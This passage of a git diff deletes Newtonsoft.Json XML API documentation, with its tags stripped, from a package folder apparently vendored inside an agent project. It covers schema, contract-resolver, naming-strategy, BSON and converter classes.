schema extends. - - The collection of that this schema extends. - - - - Gets or sets the format. - - The format. - - - - Initializes a new instance of the class. - - - - - Reads a from the specified . - - The containing the JSON Schema to read. - The object representing the JSON Schema. - - - - Reads a from the specified . - - The containing the JSON Schema to read. - The to use when resolving schema references. - The object representing the JSON Schema. - - - - Load a from a string that contains JSON Schema. - - A that contains JSON Schema. - A populated from the string that contains JSON Schema. - - - - Load a from a string that contains JSON Schema using the specified . - - A that contains JSON Schema. - The resolver. - A populated from the string that contains JSON Schema. - - - - Writes this schema to a . - - A into which this method will write. - - - - Writes this schema to a using the specified . - - A into which this method will write. - The resolver used. - - - - Returns a that represents the current . - - - A that represents the current . - - - - - - Returns detailed information about the schema exception. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets the line number indicating where the error occurred. - - The line number indicating where the error occurred. - - - - Gets the line position indicating where the error occurred. - - The line position indicating where the error occurred. - - - - Gets the path to the JSON where the error occurred. - - The path to the JSON where the error occurred. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Initializes a new instance of the class. - - The that holds the serialized object data about the exception being thrown. - The that contains contextual information about the source or destination. - The parameter is null. - The class name is null or is zero (0). - - - - - Generates a from a specified . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets or sets how undefined schemas are handled by the serializer. - - - - - Gets or sets the contract resolver. - - The contract resolver. - - - - Generate a from the specified type. - - The type to generate a from. - A generated from the specified type. - - - - Generate a from the specified type. - - The type to generate a from. - The used to resolve schema references. - A generated from the specified type. - - - - Generate a from the specified type. - - The type to generate a from. - Specify whether the generated root will be nullable. - A generated from the specified type. - - - - Generate a from the specified type. - - The type to generate a from. - The used to resolve schema references. - Specify whether the generated root will be nullable. - A generated from the specified type. - - - - - Resolves from an id. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets or sets the loaded schemas. - - The loaded schemas. - - - - Initializes a new instance of the class. - - - - - Gets a for the specified reference. - - The id. - A for the specified reference. - - - - - The value types allowed by the . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - No type specified. - - - - - String type. - - - - - Float type. - - - - - Integer type. - - - - - Boolean type. - - - - - Object type. - - - - - Array type. - - - - - Null type. - - - - - Any type. - - - - - - Specifies undefined schema Id handling options for the . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Do not infer a schema Id. - - - - - Use the .NET type name as the schema Id. - - - - - Use the assembly qualified .NET type name as the schema Id. - - - - - - Returns detailed information related to the . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets the associated with the validation error. - - The JsonSchemaException associated with the validation error. - - - - Gets the path of the JSON location where the validation error occurred. - - The path of the JSON location where the validation error occurred. - - - - Gets the text description corresponding to the validation error. - - The text description. - - - - - Represents the callback method that will handle JSON schema validation events and the . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - A camel case naming strategy. - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - A flag indicating whether extension data names should be processed. - - - - - Initializes a new instance of the class. - - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - Resolves member mappings for a type, camel casing property names. - - - - - Initializes a new instance of the class. - - - - - Resolves the contract for a given type. - - The type to resolve a contract for. - The contract for a given type. - - - - Used by to resolve a for a given . - - - - - Gets a value indicating whether members are being get and set using dynamic code generation. - This value is determined by the runtime permissions available. - - - true if using dynamic code generation; otherwise, false. - - - - - Gets or sets the default members search flags. - - The default members search flags. - - - - Gets or sets a value indicating whether compiler generated members should be serialized. - - - true if serialized compiler generated members; otherwise, false. - - - - - Gets or sets a value indicating whether to ignore the interface when serializing and deserializing types. - - - true if the interface will be ignored when serializing and deserializing types; otherwise, false. - - - - - Gets or sets a value indicating whether to ignore the attribute when serializing and deserializing types. - - - true if the attribute will be ignored when serializing and deserializing types; otherwise, false. - - - - - Gets or sets a value indicating whether to ignore IsSpecified members when serializing and deserializing types. - - - true if the IsSpecified members will be ignored when serializing and deserializing types; otherwise, false. - - - - - Gets or sets a value indicating whether to ignore ShouldSerialize members when serializing and deserializing types. - - - true if the ShouldSerialize members will be ignored when serializing and deserializing types; otherwise, false. - - - - - Gets or sets the naming strategy used to resolve how property names and dictionary keys are serialized. - - The naming strategy used to resolve how property names and dictionary keys are serialized. - - - - Initializes a new instance of the class. - - - - - Resolves the contract for a given type. - - The type to resolve a contract for. - The contract for a given type. - - - - Gets the serializable members for the type. - - The type to get serializable members for. - The serializable members for the type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates the constructor parameters. - - The constructor to create properties for. - The type's member properties. - Properties for the given . - - - - Creates a for the given . - - The matching member property. - The constructor parameter. - A created for the given . - - - - Resolves the default for the contract. - - Type of the object. - The contract's default . - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Determines which contract type is created for the given type. - - Type of the object. - A for the given type. - - - - Creates properties for the given . - - The type to create properties for. - /// The member serialization mode for the type. - Properties for the given . - - - - Creates the used by the serializer to get and set values from a member. - - The member. - The used by the serializer to get and set values from a member. - - - - Creates a for the given . - - The member's parent . - The member to create a for. - A created for the given . - - - - Resolves the name of the property. - - Name of the property. - Resolved name of the property. - - - - Resolves the name of the extension data. By default no changes are made to extension data names. - - Name of the extension data. - Resolved name of the extension data. - - - - Resolves the key of the dictionary. By default is used to resolve dictionary keys. - - Key of the dictionary. - Resolved key of the dictionary. - - - - Gets the resolved name of the property. - - Name of the property. - Name of the property. - - - - The default naming strategy. Property names and dictionary keys are unchanged. - - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - The default serialization binder used when resolving and loading classes from type names. - - - - - Initializes a new instance of the class. - - - - - When overridden in a derived class, controls the binding of a serialized object to a type. - - Specifies the name of the serialized object. - Specifies the name of the serialized object. - - The type of the object the formatter creates a new instance of. - - - - - When overridden in a derived class, controls the binding of a serialized object to a type. - - The type of the object the formatter creates a new instance of. - Specifies the name of the serialized object. - Specifies the name of the serialized object. - - - - Represents a trace writer that writes to the application's instances. - - - - - Gets the that will be used to filter the trace messages passed to the writer. - For example a filter level of will exclude messages and include , - and messages. - - - The that will be used to filter the trace messages passed to the writer. - - - - - Writes the specified trace level, message and optional exception. - - The at which to write this trace. - The trace message. - The trace exception. This parameter is optional. - - - - Get and set values for a using dynamic methods. - - - - - Initializes a new instance of the class. - - The member info. - - - - Sets the value. - - The target to set the value on. - The value to set on the target. - - - - Gets the value. - - The target to get the value from. - The value. - - - - Provides information surrounding an error. - - - - - Gets the error. - - The error. - - - - Gets the original object that caused the error. - - The original object that caused the error. - - - - Gets the member that caused the error. - - The member that caused the error. - - - - Gets the path of the JSON location where the error occurred. - - The path of the JSON location where the error occurred. - - - - Gets or sets a value indicating whether this is handled. - - true if handled; otherwise, false. - - - - Provides data for the Error event. - - - - - Gets the current object the error event is being raised against. - - The current object the error event is being raised against. - - - - Gets the error context. - - The error context. - - - - Initializes a new instance of the class. - - The current object. - The error context. - - - - Get and set values for a using dynamic methods. - - - - - Initializes a new instance of the class. - - The member info. - - - - Sets the value. - - The target to set the value on. - The value to set on the target. - - - - Gets the value. - - The target to get the value from. - The value. - - - - Provides methods to get attributes. - - - - - Returns a collection of all of the attributes, or an empty collection if there are no attributes. - - When true, look up the hierarchy chain for the inherited custom attribute. - A collection of s, or an empty collection. - - - - Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. - - The type of the attributes. - When true, look up the hierarchy chain for the inherited custom attribute. - A collection of s, or an empty collection. - - - - Used by to resolve a for a given . - - - - - - - - - Resolves the contract for a given type. - - The type to resolve a contract for. - The contract for a given type. - - - - Used to resolve references when serializing and deserializing JSON by the . - - - - - Resolves a reference to its object. - - The serialization context. - The reference to resolve. - The object that was resolved from the reference. - - - - Gets the reference for the specified object. - - The serialization context. - The object to get a reference for. - The reference to the object. - - - - Determines whether the specified object is referenced. - - The serialization context. - The object to test for a reference. - - true if the specified object is referenced; otherwise, false. - - - - - Adds a reference to the specified object. - - The serialization context. - The reference. - The object to reference. - - - - Allows users to control class loading and mandate what class to load. - - - - - When implemented, controls the binding of a serialized object to a type. - - Specifies the name of the serialized object. - Specifies the name of the serialized object - The type of the object the formatter creates a new instance of. - - - - When implemented, controls the binding of a serialized object to a type. - - The type of the object the formatter creates a new instance of. - Specifies the name of the serialized object. - Specifies the name of the serialized object. - - - - Represents a trace writer. - - - - - Gets the that will be used to filter the trace messages passed to the writer. - For example a filter level of will exclude messages and include , - and messages. - - The that will be used to filter the trace messages passed to the writer. - - - - Writes the specified trace level, message and optional exception. - - The at which to write this trace. - The trace message. - The trace exception. This parameter is optional. - - - - Provides methods to get and set values. - - - - - Sets the value. - - The target to set the value on. - The value to set on the target. - - - - Gets the value. - - The target to get the value from. - The value. - - - - Contract details for a used by the . - - - - - Gets the of the collection items. - - The of the collection items. - - - - Gets a value indicating whether the collection type is a multidimensional array. - - true if the collection type is a multidimensional array; otherwise, false. - - - - Gets or sets the function used to create the object. When set this function will override . - - The function used to create the object. - - - - Gets a value indicating whether the creator has a parameter with the collection values. - - true if the creator has a parameter with the collection values; otherwise, false. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Gets or sets the default collection items . - - The converter. - - - - Gets or sets a value indicating whether the collection items preserve object references. - - true if collection items preserve object references; otherwise, false. - - - - Gets or sets the collection item reference loop handling. - - The reference loop handling. - - - - Gets or sets the collection item type name handling. - - The type name handling. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Handles serialization callback events. - - The object that raised the callback event. - The streaming context. - - - - Handles serialization error callback events. - - The object that raised the callback event. - The streaming context. - The error context. - - - - Sets extension data for an object during deserialization. - - The object to set extension data on. - The extension data key. - The extension data value. - - - - Gets extension data for an object during serialization. - - The object to set extension data on. - - - - Contract details for a used by the . - - - - - Gets the underlying type for the contract. - - The underlying type for the contract. - - - - Gets or sets the type created during deserialization. - - The type created during deserialization. - - - - Gets or sets whether this type contract is serialized as a reference. - - Whether this type contract is serialized as a reference. - - - - Gets or sets the default for this contract. - - The converter. - - - - Gets the internally resolved for the contract's type. - This converter is used as a fallback converter when no other converter is resolved. - Setting will always override this converter. - - - - - Gets or sets all methods called immediately after deserialization of the object. - - The methods called immediately after deserialization of the object. - - - - Gets or sets all methods called during deserialization of the object. - - The methods called during deserialization of the object. - - - - Gets or sets all methods called after serialization of the object graph. - - The methods called after serialization of the object graph. - - - - Gets or sets all methods called before serialization of the object. - - The methods called before serialization of the object. - - - - Gets or sets all method called when an error is thrown during the serialization of the object. - - The methods called when an error is thrown during the serialization of the object. - - - - Gets or sets the default creator method used to create the object. - - The default creator method used to create the object. - - - - Gets or sets a value indicating whether the default creator is non-public. - - true if the default object creator is non-public; otherwise, false. - - - - Contract details for a used by the . - - - - - Gets or sets the dictionary key resolver. - - The dictionary key resolver. - - - - Gets the of the dictionary keys. - - The of the dictionary keys. - - - - Gets the of the dictionary values. - - The of the dictionary values. - - - - Gets or sets the function used to create the object. When set this function will override . - - The function used to create the object. - - - - Gets a value indicating whether the creator has a parameter with the dictionary values. - - true if the creator has a parameter with the dictionary values; otherwise, false. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Gets the object's properties. - - The object's properties. - - - - Gets or sets the property name resolver. - - The property name resolver. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Gets or sets the object constructor. - - The object constructor. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Gets or sets the object member serialization. - - The member object serialization. - - - - Gets or sets the missing member handling used when deserializing this object. - - The missing member handling. - - - - Gets or sets a value that indicates whether the object's properties are required. - - - A value indicating whether the object's properties are required. - - - - - Gets or sets how the object's properties with null values are handled during serialization and deserialization. - - How the object's properties with null values are handled during serialization and deserialization. - - - - Gets the object's properties. - - The object's properties. - - - - Gets a collection of instances that define the parameters used with . - - - - - Gets or sets the function used to create the object. When set this function will override . - This function is called with a collection of arguments which are defined by the collection. - - The function used to create the object. - - - - Gets or sets the extension data setter. - - - - - Gets or sets the extension data getter. - - - - - Gets or sets the extension data value type. - - - - - Gets or sets the extension data name resolver. - - The extension data name resolver. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Maps a JSON property to a .NET member or constructor parameter. - - - - - Gets or sets the name of the property. - - The name of the property. - - - - Gets or sets the type that declared this property. - - The type that declared this property. - - - - Gets or sets the order of serialization of a member. - - The numeric order of serialization. - - - - Gets or sets the name of the underlying member or parameter. - - The name of the underlying member or parameter. - - - - Gets the that will get and set the during serialization. - - The that will get and set the during serialization. - - - - Gets or sets the for this property. - - The for this property. - - - - Gets or sets the type of the property. - - The type of the property. - - - - Gets or sets the for the property. - If set this converter takes precedence over the contract converter for the property type. - - The converter. - - - - Gets or sets the member converter. - - The member converter. - - - - Gets or sets a value indicating whether this is ignored. - - true if ignored; otherwise, false. - - - - Gets or sets a value indicating whether this is readable. - - true if readable; otherwise, false. - - - - Gets or sets a value indicating whether this is writable. - - true if writable; otherwise, false. - - - - Gets or sets a value indicating whether this has a member attribute. - - true if has a member attribute; otherwise, false. - - - - Gets the default value. - - The default value. - - - - Gets or sets a value indicating whether this is required. - - A value indicating whether this is required. - - - - Gets a value indicating whether has a value specified. - - - - - Gets or sets a value indicating whether this property preserves object references. - - - true if this instance is reference; otherwise, false. - - - - - Gets or sets the property null value handling. - - The null value handling. - - - - Gets or sets the property default value handling. - - The default value handling. - - - - Gets or sets the property reference loop handling. - - The reference loop handling. - - - - Gets or sets the property object creation handling. - - The object creation handling. - - - - Gets or sets or sets the type name handling. - - The type name handling. - - - - Gets or sets a predicate used to determine whether the property should be serialized. - - A predicate used to determine whether the property should be serialized. - - - - Gets or sets a predicate used to determine whether the property should be deserialized. - - A predicate used to determine whether the property should be deserialized. - - - - Gets or sets a predicate used to determine whether the property should be serialized. - - A predicate used to determine whether the property should be serialized. - - - - Gets or sets an action used to set whether the property has been deserialized. - - An action used to set whether the property has been deserialized. - - - - Returns a that represents this instance. - - - A that represents this instance. - - - - - Gets or sets the converter used when serializing the property's collection items. - - The collection's items converter. - - - - Gets or sets whether this property's collection items are serialized as a reference. - - Whether this property's collection items are serialized as a reference. - - - - Gets or sets the type name handling used when serializing the property's collection items. - - The collection's items type name handling. - - - - Gets or sets the reference loop handling used when serializing the property's collection items. - - The collection's items reference loop handling. - - - - A collection of objects. - - - - - Initializes a new instance of the class. - - The type. - - - - When implemented in a derived class, extracts the key from the specified element. - - The element from which to extract the key. - The key for the specified element. - - - - Adds a object. - - The property to add to the collection. - - - - Gets the closest matching object. - First attempts to get an exact case match of and then - a case insensitive match. - - Name of the property. - A matching property if found. - - - - Gets a property by property name. - - The name of the property to get. - Type property name string comparison. - A matching property if found. - - - - Contract details for a used by the . - - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Lookup and create an instance of the type described by the argument. - - The type to create. - Optional arguments to pass to an initializing constructor of the JsonConverter. - If null, the default constructor is used. - - - - A kebab case naming strategy. - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - A flag indicating whether extension data names should be processed. - - - - - Initializes a new instance of the class. - - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - Represents a trace writer that writes to memory. When the trace message limit is - reached then old trace messages will be removed as new messages are added. - - - - - Gets the that will be used to filter the trace messages passed to the writer. - For example a filter level of will exclude messages and include , - and messages. - - - The that will be used to filter the trace messages passed to the writer. - - - - - Initializes a new instance of the class. - - - - - Writes the specified trace level, message and optional exception. - - The at which to write this trace. - The trace message. - The trace exception. This parameter is optional. - - - - Returns an enumeration of the most recent trace messages. - - An enumeration of the most recent trace messages. - - - - Returns a of the most recent trace messages. - - - A of the most recent trace messages. - - - - - A base class for resolving how property names and dictionary keys are serialized. - - - - - A flag indicating whether dictionary keys should be processed. - Defaults to false. - - - - - A flag indicating whether extension data names should be processed. - Defaults to false. - - - - - A flag indicating whether explicitly specified property names, - e.g. a property name customized with a , should be processed. - Defaults to false. - - - - - Gets the serialized name for a given property name. - - The initial property name. - A flag indicating whether the property has had a name explicitly specified. - The serialized property name. - - - - Gets the serialized name for a given extension data name. - - The initial extension data name. - The serialized extension data name. - - - - Gets the serialized key for a given dictionary key. - - The initial dictionary key. - The serialized dictionary key. - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - Hash code calculation - - - - - - Object equality implementation - - - - - - - Compare to another NamingStrategy - - - - - - - Represents a method that constructs an object. - - The object type to create. - - - - When applied to a method, specifies that the method is called when an error occurs serializing an object. - - - - - Provides methods to get attributes from a , , or . - - - - - Initializes a new instance of the class. - - The instance to get attributes for. This parameter should be a , , or . - - - - Returns a collection of all of the attributes, or an empty collection if there are no attributes. - - When true, look up the hierarchy chain for the inherited custom attribute. - A collection of s, or an empty collection. - - - - Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. - - The type of the attributes. - When true, look up the hierarchy chain for the inherited custom attribute. - A collection of s, or an empty collection. - - - - Get and set values for a using reflection. - - - - - Initializes a new instance of the class. - - The member info. - - - - Sets the value. - - The target to set the value on. - The value to set on the target. - - - - Gets the value. - - The target to get the value from. - The value. - - - - A snake case naming strategy. - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - A flag indicating whether extension data names should be processed. - - - - - Initializes a new instance of the class. - - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - Specifies how strings are escaped when writing JSON text. - - - - - Only control characters (e.g. newline) are escaped. - - - - - All non-ASCII and control characters (e.g. newline) are escaped. - - - - - HTML (<, >, &, ', ") and control characters (e.g. newline) are escaped. - - - - - Indicates the method that will be used during deserialization for locating and loading assemblies. - - - - - In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the LoadWithPartialName method of the class is used to load the assembly. - - - - - In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The Load method of the class is used to load the assembly. - - - - - Specifies type name handling options for the . - - - should be used with caution when your application deserializes JSON from an external source. - Incoming types should be validated with a custom - when deserializing with a value other than . - - - - - Do not include the .NET type name when serializing types. - - - - - Include the .NET type name when serializing into a JSON object structure. - - - - - Include the .NET type name when serializing into a JSON array structure. - - - - - Always include the .NET type name when serializing. - - - - - Include the .NET type name when the type of the object being serialized is not the same as its declared type. - Note that this doesn't include the root serialized object by default. To include the root object's type name in JSON - you must specify a root type object with - or . - - - - - Determines whether the collection is null or empty. - - The collection. - - true if the collection is null or empty; otherwise, false. - - - - - Adds the elements of the specified collection to the specified generic . - - The list to add to. - The collection of elements to add. - - - - Converts the value to the specified type. If the value is unable to be converted, the - value is checked whether it assignable to the specified type. - - The value to convert. - The culture to use when converting. - The type to convert or cast the value to. - - The converted type. If conversion was unsuccessful, the initial value - is returned if assignable to the target type. - - - - - Helper method for generating a MetaObject which calls a - specific method on Dynamic that returns a result - - - - - Helper method for generating a MetaObject which calls a - specific method on Dynamic, but uses one of the arguments for - the result. - - - - - Helper method for generating a MetaObject which calls a - specific method on Dynamic, but uses one of the arguments for - the result. - - - - - Returns a Restrictions object which includes our current restrictions merged - with a restriction limiting our type - - - - - Helper class for serializing immutable collections. - Note that this is used by all builds, even those that don't support immutable collections, in case the DLL is GACed - https://github.com/JamesNK/Newtonsoft.Json/issues/652 - - - - - Gets the type of the typed collection's items. - - The type. - The type of the typed collection's items. - - - - Gets the member's underlying type. - - The member. - The underlying type of the member. - - - - Determines whether the property is an indexed property. - - The property. - - true if the property is an indexed property; otherwise, false. - - - - - Gets the member's value on the object. - - The member. - The target object. - The member's value on the object. - - - - Sets the member's value on the target object. - - The member. - The target. - The value. - - - - Determines whether the specified MemberInfo can be read. - - The MemberInfo to determine whether can be read. - /// if set to true then allow the member to be gotten non-publicly. - - true if the specified MemberInfo can be read; otherwise, false. - - - - - Determines whether the specified MemberInfo can be set. - - The MemberInfo to determine whether can be set. - if set to true then allow the member to be set non-publicly. - if set to true then allow the member to be set if read-only. - - true if the specified MemberInfo can be set; otherwise, false. - - - - - Builds a string. Unlike this class lets you reuse its internal buffer. - - - - - Determines whether the string is all white space. Empty string will return false. - - The string to test whether it is all white space. - - true if the string is all white space; otherwise, false. - - - - - Specifies the state of the . - - - - - An exception has been thrown, which has left the in an invalid state. - You may call the method to put the in the Closed state. - Any other method calls result in an being thrown. - - - - - The method has been called. - - - - - An object is being written. - - - - - An array is being written. - - - - - A constructor is being written. - - - - - A property is being written. - - - - - A write method has not been called. - - - - Specifies that an output will not be null even if the corresponding type allows it. - - - Specifies that when a method returns , the parameter will not be null even if the corresponding type allows it. - - - Initializes the attribute with the specified return value condition. - - The return value condition. If the method returns this value, the associated parameter will not be null. - - - - Gets the return value condition. - - - Specifies that an output may be null even if the corresponding type disallows it. - - - Specifies that null is allowed as an input even if the corresponding type disallows it. - - - - Specifies that the method will not return if the associated Boolean parameter is passed the specified value. - - - - - Initializes a new instance of the class. - - - The condition parameter value. Code after the method will be considered unreachable by diagnostics if the argument to - the associated parameter matches this value. - - - - Gets the condition parameter value. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/lib/net45/Newtonsoft.Json.xml b/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/lib/net45/Newtonsoft.Json.xml deleted file mode 100644 index 2c981abf..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/lib/net45/Newtonsoft.Json.xml +++ /dev/null @@ -1,11363 +0,0 @@ - - - - Newtonsoft.Json - - - - - Represents a BSON Oid (object id). - - - - - Gets or sets the value of the Oid. - - The value of the Oid. - - - - Initializes a new instance of the class. - - The Oid value. - - - - Represents a reader that provides fast, non-cached, forward-only access to serialized BSON data. - - - - - Gets or sets a value indicating whether binary data reading should be compatible with incorrect Json.NET 3.5 written binary. - - - true if binary data reading will be compatible with incorrect Json.NET 3.5 written binary; otherwise, false. - - - - - Gets or sets a value indicating whether the root object will be read as a JSON array. - - - true if the root object will be read as a JSON array; otherwise, false. - - - - - Gets or sets the used when reading values from BSON. - - The used when reading values from BSON. - - - - Initializes a new instance of the class. - - The containing the BSON data to read. - - - - Initializes a new instance of the class. - - The containing the BSON data to read. - - - - Initializes a new instance of the class. - - The containing the BSON data to read. - if set to true the root object will be read as a JSON array. - The used when reading values from BSON. - - - - Initializes a new instance of the class. - - The containing the BSON data to read. - if set to true the root object will be read as a JSON array. - The used when reading values from BSON. - - - - Reads the next JSON token from the underlying . - - - true if the next token was read successfully; false if there are no more tokens to read. - - - - - Changes the reader's state to . - If is set to true, the underlying is also closed. - - - - - Represents a writer that provides a fast, non-cached, forward-only way of generating BSON data. - - - - - Gets or sets the used when writing values to BSON. - When set to no conversion will occur. - - The used when writing values to BSON. - - - - Initializes a new instance of the class. - - The to write to. - - - - Initializes a new instance of the class. - - The to write to. - - - - Flushes whatever is in the buffer to the underlying and also flushes the underlying stream. - - - - - Writes the end. - - The token. - - - - Writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - - - - Writes the start of a constructor with the given name. - - The name of the constructor. - - - - Writes raw JSON. - - The raw JSON to write. - - - - Writes raw JSON where a value is expected and updates the writer's state. - - The raw JSON to write. - - - - Writes the beginning of a JSON array. - - - - - Writes the beginning of a JSON object. - - - - - Writes the property name of a name/value pair on a JSON object. - - The name of the property. - - - - Closes this writer. - If is set to true, the underlying is also closed. - If is set to true, the JSON is auto-completed. - - - - - Writes a value. - An error will raised if the value cannot be written as a single JSON token. - - The value to write. - - - - Writes a null value. - - - - - Writes an undefined value. - - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a [] value. - - The [] value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a [] value that represents a BSON object id. - - The Object ID value to write. - - - - Writes a BSON regex. - - The regex pattern. - The regex options. - - - - Specifies how constructors are used when initializing objects during deserialization by the . - - - - - First attempt to use the public default constructor, then fall back to a single parameterized constructor, then to the non-public default constructor. - - - - - Json.NET will use a non-public default constructor before falling back to a parameterized constructor. - - - - - Converts a binary value to and from a base 64 string value. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts a to and from JSON and BSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Creates a custom object. - - The object type to convert. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Creates an object which will then be populated by the serializer. - - Type of the object. - The created object. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Gets a value indicating whether this can write JSON. - - - true if this can write JSON; otherwise, false. - - - - - Converts a to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified value type. - - Type of the value. - - true if this instance can convert the specified value type; otherwise, false. - - - - - Converts a to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified value type. - - Type of the value. - - true if this instance can convert the specified value type; otherwise, false. - - - - - Provides a base class for converting a to and from JSON. - - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts a F# discriminated union type to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts an Entity Framework to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts an to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Gets a value indicating whether this can write JSON. - - - true if this can write JSON; otherwise, false. - - - - - Converts a to and from the ISO 8601 date format (e.g. "2008-04-12T12:53Z"). - - - - - Gets or sets the date time styles used when converting a date to and from JSON. - - The date time styles used when converting a date to and from JSON. - - - - Gets or sets the date time format used when converting a date to and from JSON. - - The date time format used when converting a date to and from JSON. - - - - Gets or sets the culture used when converting a date to and from JSON. - - The culture used when converting a date to and from JSON. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Converts a to and from a 